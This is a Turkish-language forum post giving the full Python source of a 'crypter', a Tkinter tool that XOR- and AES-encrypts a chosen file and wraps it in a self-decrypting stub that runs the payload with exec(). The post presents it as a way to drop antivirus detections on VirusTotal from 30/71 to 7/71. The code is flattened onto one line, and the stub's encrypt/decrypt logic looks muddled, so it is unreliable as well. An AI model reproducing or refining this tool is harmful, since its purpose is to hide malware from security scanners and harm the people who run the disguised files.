- 6 Şub 2022
- 134
- 26
Eline saglik
Merhaba bugün gerçek bir crypter yapacağız. Kodların hepsini paylaşacağım ve eğer başarılı olursak virustotalde bir
dosyayı 30/71 gösteriyorken 7/71'e düşürebilip ud crypter yapabileceğiz.
Bu kodumuzda dosyayı şifreleyecek sonra ise dosyaya o şifreyi çözüp çalıştırma mekanizması ekleyeceğiz.
Kod:
import base64 from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from Crypto.Util.Padding import pad import tkinter as tk from tkinter import filedialog def xor_crypt(data, key): key = key * (len(data) // len(key) + 1) return bytes(x ^ y for x, y in zip(data, key)) def aes_encrypt(data, key, iv): padded_data = pad(data, AES.block_size) cipher = AES.new(key, AES.MODE_CBC, iv) return cipher.encrypt(padded_data) def encrypt_file(file_path, key, iv): with open(file_path, 'rb') as file: data = file.read() encrypted_data = aes_encrypt(xor_crypt(data, key), key, iv) decode = f"""import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad def xor_crypt(data, key): key = key * (len(data) // len(key) + 1) return bytes(x ^ y for x, y in zip(data, key)) def aes_encrypt(data, key, iv): padded_data = base64.b64decode('{base64.b64encode(data).decode()}') cipher = AES.new(key, AES.MODE_CBC, iv) return cipher.encrypt(padded_data) def aes_decrypt(data, key, iv): cipher = AES.new(key, AES.MODE_CBC, iv) decrypted_data = cipher.decrypt(data) return unpad(decrypted_data, AES.block_size) key = {key} iv = {iv} original_data = base64.b64decode('{base64.b64encode(encrypted_data).decode()}') encrypted_data = aes_encrypt(xor_crypt(original_data, key), key, iv) decrypted_data = xor_crypt(aes_decrypt(encrypted_data, key, iv), key) exec(decrypted_data) """ encrypted_file_path = file_path with open(encrypted_file_path, 'wb') as encrypted_file: encrypted_file.write(decode.encode()) return encrypted_file_path def browse_file(): file_path = filedialog.askopenfilename() key = get_random_bytes(16) iv = get_random_bytes(16) encrypted_file_path = encrypt_file(file_path, key, iv) result_label.config(text=f"File Encrypted: {encrypted_file_path}") app = tk.Tk() app.title("MyCrypter") app.geometry("400x200") browse_button = tk.Button(app, text="Browse", command=browse_file) browse_button.pack(pady=20) result_label = tk.Label(app, text="") result_label.pack() app.mainloop()